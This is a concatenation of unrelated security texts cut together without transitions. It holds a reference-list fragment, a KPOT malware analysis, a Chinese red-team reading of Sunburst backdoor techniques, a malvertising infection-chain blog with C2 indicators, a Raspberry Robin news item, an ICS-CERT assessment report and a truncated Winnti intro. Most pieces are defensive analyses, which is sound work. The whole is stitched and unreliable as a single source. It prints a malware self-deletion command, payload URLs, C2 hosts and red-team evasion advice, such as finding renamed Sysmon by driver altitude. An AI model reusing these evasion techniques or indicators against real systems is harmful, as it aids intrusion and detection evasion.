[13] LaZagne.
[14] Palo Alto Networks. APT3 Observations on CVE-2015-3113.
[15] FireEye Blog. New Zero-Day Exploit Targeting Internet Explorer Versions 9 Through 11 Identified in Targeted Attacks.
[16] PwC. Pirpi ScanBox.
[17] Recon. Evolution of Pirpi.
[18] Veil Framework.
[19] Cobalt Strike. Artifact Kit.
[20] Social Engineering Toolkit.
[21] CVE-2014-6332.
[22] CVE-2014-4113.
[23] Carnal0wnage. More on APTsim.
[24] UACME. |
# Reader Analysis: "Dynamic analysis technique to get decrypted KPOT Malware."
**Published:** 2020-04-12
**Last Updated:** 2020-04-12 09:11:26 UTC
**by Didier Stevens (Version: 1)**
Reader Vinnie shared his analysis of KPOT malware with us:
In a previous write-up, I documented a PowerShell downloader pushing KPOT malware. Since then, all of the files have been submitted to VirusTotal allowing for further analysis. This has also been recently documented by ISC Handler Didier Stevens.
## PowerShell Downloader:
### URLs from PowerShell Downloader:
- hxxp://show1[.]website/OerAS.dat (Obfuscated AutoIt script, Base64 encoded as a certificate)
- hxxp://show1[.]website/HeyaL.dat (AutoIt Interpreter) – Legitimate
- hxxp://show1[.]website/iPYOy.dat (Encrypted KPOT Malware)
### Excerpt from Base64 decoded AutoIt script (‘i8ek7’) showing obfuscation:
Decode function at the bottom of AutoIt script:
The string is split from ‘*’ and then each encoded character is subtracted from the number after the comma ($integer) before being converted from Unicode.
### Decoded sample:
All files necessary in the same folder ‘Temp’ – Windows 7 Virtual Machine:
Utilizing PowerShell to initiate infection chain:
**Process chain showing ‘dllhost.exe’ process hollowing:**
- CreateProcess: powershell.exe:2428 > "%UserProfile%\Downloads\Temp\r17mi.com i8ek7"
- [Child PID: 2452]
- CreateProcess: r17mi.com:2452 > "%UserProfile%\Downloads\Temp\r17mi.com i8ek7"
- [Child PID: 2064]
- CreateProcess: r17mi.com:2064 > "%WinDir%\SysWOW64\dllhost.exe"
- [Child PID: 2244]
- CreateProcess: dllhost.exe:2244 > "%WinDir%\system32\cmd.exe /c ping 127.0.0.1 && del %WinDir%\SysWOW64\dllhost.exe"
- [Child PID: 536]
- CreateProcess: cmd.exe:536 > "ping 127.0.0.1"
**“dllhost.exe” process dump via Task Manager:**
String analysis via “strings” show command and control (C2) servers:
Extract executables via “foremost”:
The decrypted KPOT malware has the SHA256 Hash “3fd4aa339bdfee23684ff495d884aa842165e61af85fd09411abfd64b9780146” and VT score of 34/71.
### Sampled VirusTotal signatures:
String analysis of KPOT malware via “FLOSS”:
Strings indicative of information stealers:
**Didier Stevens**
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com
**Keywords:** kpot malware |
# 红队视角看Sunburst后门中的TTPs
## 导语
最近FireEye披露的黑客组织入侵SolarWinds的供应链攻击让安全从业人员印象深刻。一是影响规模大,SolarWinds官方称受影响的客户数量可能有18000家。二是攻击者留下的后门程序-Sunburst,十分隐蔽和具有迷惑性。
## 针对SolarWinds供应链攻击简介
最近FireEye披露的UNC2452黑客组织入侵SolarWinds的供应链攻击让安全从业人员印象深刻。一是影响规模大,SolarWinds官方称受影响的客户数量可能有18000家。二是攻击者留下的后门程序-SUNBURST,十分隐蔽和具有迷惑性,分析认为攻击者对SolarWinds Orion产品理解程度很深。
有证据表明,早在2019年10月,UNC2452黑客组织就一直在研究通过添加空类来插入代码的能力。因此将恶意代码插入原始SolarWinds.Orion.Core.BusinessLayer.dll的时间可能很早,甚至可能是在软件构建编译之前。这就导致SolarWinds官方无意间对包含4000行恶意代码的DLL进行了数字签名,这样容易让恶意代码提升权限,并且很难被人发现。感染的Origin软件第一个版本是2019.4.5200.9083,在此几个月的时间内,用户通过下载受到感染的产品版本被感染。目前原始dll文件中没有发现存在动态拓展、也不存在横向移动等后渗透阶段的相关能力支持。
## Sunburst后门总体流程
Sunburst后门总体流程可以简单地概括为以下几个阶段:
1. SolarWinds.BusinessLayerHost.exe加载SolarWinds.Orion.Core.BusinessLayer.dll,并执行其中的恶意代码。
2. 代码通过9层环境检查,来判断当前环境上下文是否安全,是否应该继续执行。
3. 如果检查通过,尝试使用DGA算法生成的域名发送DNS上线通知,并检查DNS解析结果是否满足自身运行要求。
4. DNS上线通知成功,则会尝试使用两种User-Agent和3种代理模式,与C2服务器建立起HTTP控制通道。
5. SUNBURST后门本身能处理的控制指令并不多,攻击者可以下载自定义的Payload,例如Cobalt Strike beacon,即TEARDROP进行进一步操作。
Sunburst后门的代码都在SolarWinds.Orion.Core.BusinessLayer.dll这个文件中,这是个C#编写的.NET assembly,可以直接反编译查看源代码,分析其运行逻辑。主要涉及的三项技术为代码执行(Execution)、环境检测(Discovery)和C2通信(Command and Control)。
## TTPs提取与分析
### 1. 代码执行/Execution
#### 1.1 红队视角
无论是红队后渗透还是真实APT攻击,第一步要在受害者的机器上运行起来控制程序(agent/implant/artifact)。Windows系统上的代码执行的方法有很多,也可以从多种角度进行分类和总结。这里作者将之分为以下三类:
1. **BYOB**: Bring Your Own Binary,就是把后门、工具、武器编译成exe文件,上传到目标主机上并运行。这也是最直接的执行方式。缺点是需要不断的编译和上传、要处理杀软和EDR的静态检测等等。
2. **LotL**: Living off the Land,可以理解为就地取材,利用Windows系统和应用程序来加载执行恶意代码,典型的案例就是利用powershell的攻击。这种方式利用白名单程序来加载,会有一定规避检查的优点,但会产生明显的父子进程关系和进程参数,容易被猎捕。
3. **BYOL**: Bring Your Own Land,这也是FireEye提出的一种方法,在使用前两种方法建立了基本的代码执行能力后,在内存中加载并运行Windows的PE文件、.NET assembly文件。优点是跳过了静态文件查杀,不会明显产生进程间调用关系和进程调用参数,缺点是需要自己开发内存加载执行的代码,很多常规的命令需要自己重新实现。
#### 1.2 Surburst实际攻击技巧
本次供应链攻击的Sunburst后门存在于SolarWinds.Orion.Core.BusinessLayer.dll文件中,它的运行需要SolarWinds.BusinessLayerHost.exe这个合法的进程来加载,可以理解为是一种变形的Living off the Land执行方法。类似于DLL劫持,但相比于常规的DLL劫持,这类修改原始DLL的供应链攻击后门显得更加隐蔽。往往有以下特点:
1. 修改原有的DLL,不会产生多余的DLL文件落地。
2. 程序加载DLL运行,不会产生子进程和进程参数。
3. 供应商的信任进程不在常规进程检测名单,已知Windows lolbins检测规则无效。
本次的DLL后门,可以看到作者很注重隐蔽(OpSec),代码中透露着检测对抗的思想,其隐蔽技巧表现为:
1. DLL合法的数字签名,很大程度上规避了静态文件查杀。
2. 代码通过创建新线程,执行SolarWinds.Orion.Core.BusinessLayer.dll.OrionImprovementBusinessLayer库目录下的Initialize函数开始恶意动作。DLL入口函数调用栈较深,通过6层的调用才开始执行代码,动态跟踪需要花费更多精力。
3. 代码使用自定义hash算法,常量字符串都进行hash处理,避免敏感字符串在传输流量和本地文件扫描时发现。
### 2. 环境检测/Discovery
#### 2.1 红队视角
红队技术传统技术往往高度关注进程列表检测、驱动列表检测的技巧:
##### 2.1.1 进程检测
对于杀软和安全软件的检测,我们通常使用taskllist /v和tasklist /svc来检查进程和服务,可以认为这是一种手工判断+LotL的方法。这里推荐两款自动化的检测脚本和工具,大家可以根据自己的需求进行改造,结合内存加载实现BYOL的方式来检查安全软件。
1. **ProcessColor.cna**,一款Cobalt Strike的插件脚本,可以帮助我们标记出常见的安全软件、监控软件、分析软件。
2. **Seatbelt的InterestingProcesses命令**,C#开发的多功能信息搜集工具,可单独使用,可结合其他程序实现内存加载。
##### 2.1.2 驱动检测
既然进程和服务都检测了,那么检测这些驱动有什么意义吗?在常规的情况下,检查进程和服务名称就可以了解当前系统的安全软件运行情况,但是一些高级系统管理员会修改进程和服务的名称,我们就没办法判断了。Sunburst后门在环境检测中还检查了系统驱动,这些驱动大部分都是杀软和EDR产品使用的。这一点是值得红队人员借鉴的,下面以sysmon为例进行说明。
图中左侧为常规的sysmon安装,我们可以在进程和服务中找到sysmon。右侧只是简单地把sysmon进行重命名,安装之后我们在进程和服务的名字中已经找不到sysmon了,只能找到修改后的名称。这个时候查看驱动就很必要了,因为sysmon默认安装的驱动路径和名字并没有改变。
即使管理员在安装sysmon的时候将默认的驱动名称也改了,但是每个驱动都有一个唯一的altitude,要修改这个成本就很高了。sysmon的altitude是385201。
#### 2.2 Sunburst实现的机制
SolarWinds.Orion.Core.BusinessLayer.dll中的恶意代码对于运行环境的检查十分严格,一共有9层检测机制,只有当所有检测条件都通过时,其才会执行上线操作。
### 3. C2通信/Command and Control
代码运行起来,检测环境上下文是安全的,最后的一步就是和C2服务器进行通信了。Sunburst后门通过自定义的DGA算法生成C2域名,通过自定义DNS通道进行上线通知,通过自定义HTTP通道进行指令下发与数据回传。
#### 3.1 红队视角
对于红队来说,最常规的出网协议是HTTP[S]和DNS协议,但是大多数情况是手动判断目标的网络环境后来选择C2通信的方式。虽然能够修改和自定义C2通信协议,无疑是规避流量检测的好方法,但是相对的成本会比较高,需要同时兼顾客户端和服务端,还需要保证通信质量。简易的做法是利用后渗透框架自身的配置来修改C2流量特征,比如Cobalt Strike、Empire、Covenant等工具都支持Malleable C2 profile的配置。
Sunburst后门这种使用DNS和HTTP协议结合的方式,让作者想起了Sliver C2这款工具的DNS Canary功能。虽然DNS Canary不是用来进行C2通信的,但是提供了一种红队监测蓝队是否分析了自己implant的思路。
#### 3.2 Sunburst后门在该阶段的亮点
1. 很具有迷惑性的DnsRecords代码,用常规的变量名表达其他实际意义。
2. 对DGA生成的域名解析的IP地址,进行白名单、黑名单、等待名单的判断,确定网络解析环境是否安全才会继续执行。
3. HTTP协议的一种User-Agent会采用SolarWinds产品的User-Agent,更加接近真实可信的流量。
4. 出网会检测代理设置,通过无代理、系统代理和SolarWinds本身配置的代理三种方式是尝试出网,连接C2服务器。
5. 高度迷惑性的C2服务器响应。
6. 高度迷惑性的DGA算法。
上述动作的具体表现为:
1. 具有高度迷惑性的DNS上线请求:恶意代码发送DNS请求并将返回的CNAME信息保存至DnsRecords对象。DNS查询如果请求失败,则设置随机7-9小时的休眠时间,进行休眠后再进行下一次尝试。如请求成功,则首先判断是否存在CNAME信息,如不存在,则处理IP的最后两个字节,修改DnsRecords对象对应的字段。
2. 对DGA生成的域名解析的IP地址,进行白名单、黑名单、等待名单的判断:检测到IP处于任一黑名单,将导致状态更改为Truncate,从而导致后续操作全部终止,并作标记此后不再尝试。
3. 高度迷惑性的User-Agent:当恶意代码从C2域名的CNAME DNS响应中成功检索到域,将产生一个新的执行线程,调用HttpHelper.Initialize方法来与C2服务器通信。
4. 高度迷惑性的代理配置:出网代理主要分为三类,无代理、系统代理和SolarWinds本身配置的代理,从这点也可以看出黑客组织对于SolarWins的了解的确十分深入。
最后组成了一个JSON文本,在其中添加了前面描述的userID,sessionID和一组其他不相关的数据字段。然后它将此JSON文档发送到C2服务器。如果C2通信成功,C2服务器将回复编码压缩后的数据,该数据中包含后门要执行的命令。C2服务器可能还会回复有关要报告的其他C2地址的信息。
## 总结
本文从红队的视角分析了Sunburst后门中的TTPs,其后门实现逻辑可以看出攻击者把安全隐蔽(OpSec)放在了第一位,虽然其中很多技术是恶意软件本身的技巧,但是涉及的一些思想和TTPs对红队建设仍有很大参考价值,也透露出现阶段红队技巧和第一梯队APT组织实战攻击技巧的差距。红队行动首先就要制定策略,是隐蔽优先还是速度优先。但是无论哪种策略,OpSec始终是红队人员的必修课。 |
# The Seamless Campaign Drops Ramnit: Follow-up
**Malware:** AZORult Stealer, Smoke Loader, etc.
**Date:** July 24, 2017
Although there continues to be an overall decrease in EK activity, I’m still seeing a decent amount of malvertising leading to EKs. One campaign that I run into a lot is Seamless. It’s like other malvertising campaigns in that much of the traffic originates from streaming video sites. These kinds of sites make good targets for threat actors as they get a lot of traffic and, more importantly, they often have poor advertising standards. The site I used for this infection chain is in Alexa’s top 900 global sites and top 800 for the United States. Further analysis reveals that the site received an estimated 13,970,000 visits over the last 30 days. That’s a lot of potential victims.
Below is a very basic flowchart of the infection chain:
Syndication.exdynsrv.com returns a 302 Found and points to a new location at tqbeu.voluumtrk.com. This subdomain uses Voluum’s web analytics system to collect statistical data. We then see a GET request for a resource located at tqbeu.voluumtrk.com. The server responds with 302 Found and points to the Seamless infrastructure at 194[.]58[.]38[.]50/usa.
JavaScript gets the time zone information from the user. Time zone information is POSTed back to the server. The server responds with a script that redirects the host back to another resource located at tqbeu.voluumtrk.com. Traffic is being filtered at this point, with unwanted traffic being redirected to benign sites that break the infection chain.
Continuing with the infection chain, we see tqbeu.voluumtrk.com redirect to tqbeu.redirectvoluum.com. This time the URL contains some Base64 encoded data, which decodes to the Seamless gate. The Seamless gate returns an iframe containing the location of the RIG EK landing page. Seamless continues to drop Ramnit (qzsn3aad.exe found in %TEMP%) via RIG EK. Post-infection Ramnit traffic shows DNS queries for DGA domains.
Active C2 traffic via TCP port 443:
- 185.118.65.143 – hdyejdn638ir8.com
- 46.17.44.131 – eppixrakqeueuttiuvi.com
- 185.159.129.127 and 194.58.112.174 – tmgmgjcvt.com
After the initial malware payload dropped, I decided to restart my host and noticed additional downloads for “satbin.exe” (AKA V3.exe and javasch.exe), “AU2_EXEsd.exe” and “Loader.exe” (AKA Lw321.exe), which were all located at steelskull[.]com. Steelskull.com, created on 11/16/2015, appears to be a hacked site that sells steel Biker jewelry in the shape of skulls.
The first GET request for additional files after I restarted my host was for satbin.exe. Running satbin.exe (AKA V3.exe and javasch.exe) generated POST requests to 103.253.27.234/teststeal/gate.php. The User-Agent used during these POST requests was “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727).” We can also see it using api.ipify.org to grab the host external IP address. Further research shows that satbin.exe (AKA V3.exe – found in %LOCALAPPDATA% and javasch.exe – found in %APPDATA%) dropped javasch.js in %APPDATA%.
Opening javasch.js.txt in Notepad++ shows a lot of garbage; however, switching the language to JavaScript quickly reveals the real code.
The second GET request for additional files after I restarted my host was for AU2_EXEsd.exe, which was identified by @Antelox as AZORult Stealer. Post-infection traffic caused by AZORult shows POST requests to parking-services.us/gate.php, which currently resolves to 185.100.222.41.
Below is a list of capabilities offered by AZORult Stealer:
- Steals saved passwords from following programs (Browsers, Email, FTP, IM):
- Google Chrome
- Google Chrome x64
- YandexBrowser
- Opera
- Mozilla Firefox
- InternetMailRu
- ComodoDragon
- Amigo
- Bromium
- Chromium
- Outlook
- Thunderbird
- Filezilla
- Pidgin
- PSI
- PSI Plus
- Steals cookies from browsers and forms (form history, autofill):
- Google Chrome
- Google Chrome x64
- YandexBrowser
- Opera
- Mozilla Firefox
- InternetMailRu
- ComodoDragon
- Amigo
- Bromium
- Chromium
- Bitcoin client’s files:
- Collects wallet.dat files from popular bitcoin clients (bitcoin, litecoin, etc)
- Skype message history:
- Grabs files from chat history. Files are read with special utilities.
- Desktop files grabber:
- Collects files with specified extensions from Desktop. Filter by file size. Recursively searches files in folders.
- List of installed programs
- List of running processes
- Username, computer name, OS, RAM
The third download was for Loader.exe (AKA Lw321.exe), which was identified by Hybrid-Analysis and @Antelox as Smoke Loader. Post-infection traffic from this sample shows POST requests to zabugrom.bit/smk2/ – resolving to 109.169.89.50.
**IOCs:**
- 52.52.15.205 – tqbeu.voluumtrk.com
- 54.183.53.133 – tqbeu.redirectvoluum.com
- 194.58.38.50 – Seamless campaign
- 194.58.58.70 – GET /signup4.php – Seamless gate
- 188.225.87.49 – RIG EK
- 185.118.65.143 – hdyejdn638ir8.com – Ramnit C2
- 46.17.44.131 – eppixrakqeueuttiuvi.com – Ramnit C2
- 185.159.129.127 and 194.58.112.174 – tmgmgjcvt.com – Ramnit C2
- 46.105.57.169 – steelskull.com – Hacked site serving up malware
- 185.100.222.41 – parking-services.us – POST /gate.php – AZORult stealer
- 103.253.27.234 – POST /teststeal/gate.php
- 109.169.89.50 – zabugrom.bit – POST /smk2/ – Smoke Loader
**Hashes:**
- SHA256: 83df67f6fcec4015d345684e31773eb3488295703de09306eadf34fe3bc0b420
File name: RIG EK landing page at 188.225.87.49.txt
- SHA256: 5aa4502dc361d3d913ea5443c15e59831bc1db3b696f0d5347442744b36e957b
File name: Flash exploit from RIG EK at 188.225.87.49.swf
- SHA256: e98a80523922ac53858990234332cb9ba4c74ee4d3e2c5764d4d7b1fb7f84e10
File name: o32.tmp
- SHA256: 7c73071a01fd77c06e43f4500201cd2eb20991bbb4116ae47e07b6864ad0b58e
File name: qzsn3aad.exe
- SHA256: babd9eb251ebebe53fda65c3d070200c1362b6d8cc619543b3d31c433d8608bb
File name: satbin.exe (AKA V3.exe and javasch.exe)
- SHA256: cf3459cf29125101f5bea3f4206d8e43dbe097dd884ebf3155c49b276736f727
File name: AU2_EXEsd.exe
- SHA256: 0b5d583fd8b03e642707678800199d265bfea5563dbde982479222365af01d24
File name: Loader.exe (AKA Lw321.exe)
Password is “infected” – Malicious Artifacts.zip
Until next time! |
# Microsoft Links Raspberry Robin Worm to Clop Ransomware Attacks
Microsoft says a threat group tracked as DEV-0950 used Clop ransomware to encrypt the network of a victim previously infected with the Raspberry Robin worm. DEV-0950's malicious activity overlaps with financially motivated cybercrime groups tracked as FIN11 and TA505, known for deploying Clop payloads ransomware on targets' systems.
Besides ransomware, Raspberry Robin has also been used to drop other second-stage payloads onto compromised devices, including IcedID, Bumblebee, and Truebot. "Beginning on September 19, 2022, Microsoft identified Raspberry Robin worm infections deploying IcedID and—later at other victims—Bumblebee and TrueBot payloads," Microsoft Security Threat Intelligence analysts said.
In October 2022, Microsoft researchers observed Raspberry Robin infections followed by Cobalt Strike activity from DEV-0950. This activity, which in some cases included a Truebot infection, eventually deployed the Clop ransomware. This hints at Raspberry Robin's operators selling initial access to compromised enterprise systems to ransomware gangs and affiliates who now have an additional way to get into their targets' networks besides phishing emails and malicious ads.
In late July, Microsoft also said it detected Evil Corp pre-ransomware behavior on networks where an access broker tracked as DEV-0206 dropped the FakeUpdates (aka SocGholish) backdoor on Raspberry Robin-infected devices.
## Nearly 1,000 Orgs Compromised Within 30 Days
Spotted in September 2021 by Red Canary intelligence analysts, Raspberry Robin spreads to other devices via infected USB devices containing a malicious .LNK file. After the USB device is attached and the user clicks the link, the worm will spawn a msiexec process using cmd.exe to launch a second malicious file stored on the infected drive.
On compromised Windows devices, it communicates with its command and control servers (C2). It also delivers and executes additional payloads after bypassing User Account Control (UAC) on infected systems using several legitimate Windows utilities (fodhelper, msiexec, and odbcconf).
Microsoft said in early July that it detected Raspberry Robin malware infection on the networks of hundreds of organizations from a wide range of industry sectors. Today, the company revealed that the worm has spread to systems belonging to nearly 1,000 organizations within the past month. "Microsoft Defender for Endpoint data indicates that nearly 3,000 devices in almost 1,000 organizations have seen at least one Raspberry Robin payload-related alert in the last 30 days," Microsoft added. |
# NCCIC/ICS-CERT Industrial Control Systems Assessment Summary Report FY 2015
## 1. INTRODUCTION
The FY 2015 NCCIC/ICS-CERT Industrial Control Systems Assessment Summary Report identifies common control systems cyber-weaknesses, provides risk mitigation recommendations, and offers a broader strategic analysis of the evolving ICS cybersecurity landscape. Reporting periods for assessment data span the Federal fiscal year (October-September).
As the cyber-threat landscape continues to evolve, control systems and their underlying architecture must be secured to withstand cyber attacks. It is important that organizations conduct both risk and vulnerability assessments for the systems that drive the critical automation and processes that support our Nation’s critical infrastructure (CI). From the launch of the ICS-CERT assessment program in FY 2009 through the end of FY 2015, ICS-CERT conducted roughly 535 assessments for government and private sector CI owners and operators. Cybersecurity assessments help CI partners to understand their ICS security strengths and weaknesses and guide decisions to enhance their cybersecurity posture.
In FY 2014, ICS-CERT issued the first ICS Assessment summary report. Many of the critical weaknesses identified in FY 2014 remained prominent in FY 2015. ICS-CERT draws the vulnerability-specific data contained in the summary report from its Design Architecture Review (DAR) and Network Architecture Validation and Verification (NAVV) assessments. These are deep dive ICS assessments conducted in close partnership with CI facility owners and operators. ICS-CERT also maintains the Cybersecurity Evaluation Tool (CSET®), available as both a facilitated assessment and a downloadable self-assessment product. ICS-CERT does not retain data from CSET assessments.
The discoveries and mitigation recommendations described in the summary report are not all-inclusive or prescriptive. Summary report information should be reviewed and applied to an organization’s overall cybersecurity framework and program as appropriate to that organization. Addressing the best practices and recommendations in this report can improve a CI asset owner’s overall security posture and heighten awareness of potential threats or cyber attacks targeting their operations.
### 2015 Assessment Snapshot
- ICS-CERT conducted 112 assessments in FY 2015, including 38 facilitated CSET®, 46 DAR, and 28 NAVV assessments.
- There were 638 weaknesses identified through DAR and NAVV assessments.
- The top six categories represented 36 percent of all weaknesses.
- Boundary protection was the most commonly identified area of weakness in both FY 2014 and FY 2015.
- Weaknesses related to boundary protection and least functionality represented 21 percent of all discovered weaknesses.
- Key trends included pervasive issues related to virtual machines, remote access, VLAN use, BYOD risks, use of cloud services, and ICS network monitoring.
## 2. SUMMARY FINDINGS
### 2.1 Assessment Activity
As shown in Figure 1, ICS-CERT conducted 112 assessments in FY 2015. Demand for ICS-CERT assessment products continues to increase, particularly for in-depth assessment products: the DAR and NAVV assessments. This increase in demand is in part due to growing awareness of ICS-CERT’s assessment capabilities and in part due to increased awareness among CI partners of the importance of understanding and improving their ICS cybersecurity posture.
### 2.2 FY 2015 Top Vulnerabilities
ICS-CERT assessments uncovered 638 weaknesses in FY 2015. The top six areas of weakness accounted for approximately 36 percent of all weaknesses identified in FY 2015 assessments, as shown in Table 2.
**Table 2. Top Six Weaknesses Discovered in FY 2015.**
- **Boundary Protection**
- Cannot detect unauthorized activity in critical systems.
- Increased risk to critical assets with weak boundaries between ICS and Enterprise networks.
- **Least Functionality**
- Creates vectors for malicious party access to critical systems.
- Rogue internal access could be established.
- **Authenticator Management**
- Unsecured password communications can easily be compromised.
- Password compromise could allow trusted unauthorized access to systems.
- **Identification and Authentication**
- Results in lack of accountability and traceability for user actions if an account is compromised.
- Increases difficulty in securing accounts as personnel leave the organization, especially sensitive for users with administrator access.
- **Least Privilege**
- The more authorized users with elevated privileges, the larger the attack surface for an intruder to steal account credentials with elevated access rights to access and compromise critical systems.
- **Allocation of Resources**
- Understaffing impedes organizational cybersecurity monitoring and response capability to a critical system cyber incident increasing the potential impact to the company.
The most common ICS cyber weakness in both FY 2014 and FY 2015 was insufficient network boundary protection. Monitoring and control of communications at the ICS network boundaries is a key tenet of the cybersecurity defense-in-depth concept. Boundary protection effectively slows attack processes and facilitates detection, analysis, and notification of unauthorized activity to support operational and incident response. Absent strong protection, attackers can more easily penetrate the network boundary around critical assets, access valuable information, and manipulate systems controlled by ICS.
### 3. DETAILED ASSESSMENT RESULTS AND ANALYSIS
In FY 2015, ICS-CERT provided mitigation recommendations for 638 weaknesses identified through 74 DAR and NAVV assessments. ICS-CERT’s assessment methodology categorizes weaknesses based on the National Institute of Standards and Technology’s (NIST) NIST 800-53 control family subcategories. The Top 20 categories of weaknesses make up 69.4 percent of the total weaknesses identified.
**Table 4. FY 2015 Top 20 Identified Weaknesses by Security Control Family Subcategory.**
- SC-7 Boundary Protection (13% of 638 Total DAR/NAVV discoveries) - 85
- CM-7 Least Functionality - 46
- IA-5 Authenticator Management - 27
- IA-2 Identification and Authentication - 25
- AC-6 Least Privilege - 23
- SA-2 Allocation of Resources - 23
### 3.1 Top Six Discoveries: Risks and Recommended Mitigation
While ICS-CERT assessments identified weaknesses across all control families, six categories were most prevalent, representing 35.8 percent of the total vulnerabilities discovered across assessed CI sectors. The top six categories were: Boundary Protection, Least Functionality, Authenticator Management, Identification and Authentication, Least Privilege, and Allocation of Resources.
**Table 5. Top Six Discoveries: Risks and Recommended Mitigation.**
1. **Boundary Protection (SC-7)**
- **Description:** Controls associated with the monitoring and control of communications at the ICS external electronic boundaries and key internal boundaries.
- **Concerns if Not Mitigated:** Without adequate boundary protections, it becomes difficult to detect unauthorized activity.
- **Recommended Mitigation:** Separate the enterprise network from the ICS network and establish a demilitarized zone (DMZ) between the two systems.
2. **Least Functionality (CM-7)**
- **Description:** Controls associated with minimizing the computing resources of systems functions.
- **Concerns if Not Mitigated:** Unnecessary services create vectors for malicious parties to gain access to the ICS.
- **Recommended Mitigation:** Restrict the component to allow only the use of necessary requirements.
3. **Authenticator Management (IA-5)**
- **Description:** Controls associated with the management of system authenticators.
- **Concerns if Not Mitigated:** Passwords can be easily compromised.
- **Recommended Mitigation:** Establish and enforce a password policy.
4. **Identification and Authentication (IA-2)**
- **Description:** Controls implemented for the identification and authentication of authorized users.
- **Concerns if Not Mitigated:** Lack of accountability for individual user actions.
- **Recommended Mitigation:** Establish individual user accounts where possible.
5. **Least Privilege (AC-6)**
- **Description:** Controls established to limit access for authorized users.
- **Concerns if Not Mitigated:** An attacker can leverage user accounts to gain access to the ICS.
- **Recommended Mitigation:** Enforce the concept of least privilege on all systems.
6. **Allocation of Resources (SA-2)**
- **Description:** Organizational support for the sustainment of security resources.
- **Concerns if Not Mitigated:** Understaffing impedes the ability to respond to cybersecurity issues.
- **Recommended Mitigation:** Evaluate the cost/benefit of hiring staff to allow for regular maintenance operations.
## 4. OVERARCHING STRATEGIC OBSERVATIONS FROM FY 2015
Meeting with industry and government organizations provides the opportunity to share what ICS-CERT found at specific facilities and to see shifts in technology use in control systems operational and security environments. In FY 2015, ICS-CERT saw significant changes in the application of various technologies and corresponding challenges in implementing them securely.
### 4.1 Inadequate Access Security Controls for Virtual Machines
Increasingly, CI asset owners are implementing and leveraging virtual machine (VM) technologies. ICS-CERT continues to see inadequate user access security controls to the hypervisor host management interface, providing a single point of failure that adversaries could use to control every guest VM on the host computer.
### 4.2 Insecure Implementation of Remote Access
Use of remote access raises a number of issues that managers should consider prior to documenting a policy and implementing a process. Attackers can gain access to user accounts and obtain credentials to access critical ICS assets.
### 4.3 Improper Use of VLAN
VLAN technology can logically segment networks, but if users do not follow best practices, network activity can traverse to other VLAN segments.
### 4.4 Risk of Bring-Your-Own-Device Policies to ICS
Operations personnel are increasingly implementing portable computing devices in ICS environments. Such devices are not typically managed by the organization, creating high risks to ICS.
### 4.5 Cloud Services: Harden External Hosting Security for Critical Functions
Organizations must ensure that any ICS architecture hosted externally has a level of security consistent with the criticality of the functions of the ICS operation.
### 4.6 ICS Network Monitoring as a Core Defense-in-Depth Strategy
Network monitoring is an absolute requirement for any critical system. For each protection in a network environment, attackers can find a method to overcome that protection.
## 5. ABOUT ICS-CERT’S ASSESSMENT OFFERINGS
ICS-CERT offers cybersecurity assessments of ICS to government and private sector CI organizations across all 16 CI sectors. In FY 2015, ICS-CERT conducted assessments in various sectors, including Chemical, Defense Industrial Base, Emergency Services, Energy, Government Facilities, Information Technology, Transportation, and Water.
ICS-CERT provides three primary assessment services:
1. Cybersecurity Evaluation using CSET
2. DAR
3. NAVV
## 6. CONCLUSION
The protection of the Nation’s CI is essential for ensuring public confidence and safeguarding the Nation’s safety, prosperity, and well-being. Much of our CI depends on automated control systems to manage industrial processes efficiently and securely, so it is essential that organizations conduct security assessments to understand how best to secure this architecture against cyber threats.
ICS-CERT will continue to improve its cybersecurity assessment services to meet the evolving needs of its CI customer base. Understanding cyber risk is the first step in mitigating it. ICS-CERT remains committed to helping its partners gain a clearer comprehension of the threats and vulnerabilities they face and the actions they can take to secure their ICS.
## Appendix A
### NIST 800-53 Security Control Family Descriptions
ICS-CERT uses NIST’s “Recommended Security Controls for Federal Information Systems” (NIST 800-53) to categorize the discoveries found during assessments. The NIST 800-53 controls are organized into 18 families, each containing subcategories related to the general security topic of the family.
1. **Access Control (AC)**: Governs mechanisms, principles, processes, and other controls used to facilitate access to the information system.
2. **Awareness and Training (AT)**: Facilitates general and role-based security training of users.
3. **Audit and Accountability (AU)**: Defines, records, analyzes, and reports on the actions of the information system.
4. **Security Assessment and Authorization (CA)**: Establishes how the information system will authorize for use and ensure that security controls are in place.
5. **Configuration Management (CM)**: Manages the installation and configuration of the information system.
6. **Contingency Planning (CP)**: Aids in the recovery/restoration processes of an information system.
7. **Identification and Authentication (IA)**: Verifies the identity of a user, process, or device.
8. **Incident Response (IR)**: Pertains to incident response training, testing, handling, monitoring, reporting, and support services.
9. **Maintenance (MA)**: Governs the maintenance processes and tools.
10. **Media Protection (MP)**: Ensures access to, marking, storage, and sanitization of media.
11. **Physical and Environmental Protection (PE)**: Addresses the physical security and needs of an information system.
12. **Planning (PL)**: Comprises the security plan, security architecture, and rules of behavior.
13. **Personnel Security (PS)**: Deals with the security implications of information system personnel.
14. **Risk Assessment (RA)**: Determines the risk of the information system.
15. **System and Services Acquisition (SA)**: Pertains to the establishment and operations of the information system.
16. **System and Communications Protection (SC)**: Protects the information system and its data.
17. **System and Information Integrity (SI)**: Ensures information system data are valid and authentic.
18. **Program Management (PM)**: Provides enterprise-level security controls across an organization.
## Appendix B
### FY 2015 Top 20 Subcategory Discoveries
**Table B1. Descriptions of FY 2015 Top 20 Subcategory Discoveries.**
1. SC-7 Boundary Protection - 13.3%
2. CM-7 Least Functionality - 7.2%
3. IA-5 Authenticator Management - 4.2%
4. IA-2 Identification and Authentication - 3.9%
5. AC-6 Least Privilege - 3.6%
6. SA-2 Allocation of Resources - 3.6%
7. AU-6 Audit Review, Analysis, and Reporting - 3.5%
8. PE-3 Physical Access Control - 3.0%
9. SI-2 Flaw Remediation - 3.0%
10. CM-4 Security Impact Analysis - 3.0%
11. AT-2 Security Awareness Training - 2.7%
12. CP-9 Information System Backup - 2.7%
13. CM-6 Configuration Settings - 2.5%
14. AT-3 Role-Based Security Training - 2.4%
15. CM-3 Configuration Change Control - 2.2%
16. SA-8 Security Engineering Principles - 2.0%
17. AC-17 Remote Access - 1.7%
18. SC-8 Transmission Confidentiality and Integrity - 1.7%
19. AC-2 Account Management - 1.6%
20. SA-4 Acquisition Process - 1.6% |
# Winnti is Coming - Evolution after Prosecution
Since APT41 was sued by the FBI last year, the group has not disappeared. Instead, they have used more innovative and less well-noticed techniques to evade detection by security products, such as:
- Avoiding memory detection through DLL hollowing technique
- Using DPAPI to encrypt the real payload to make forensics more difficult
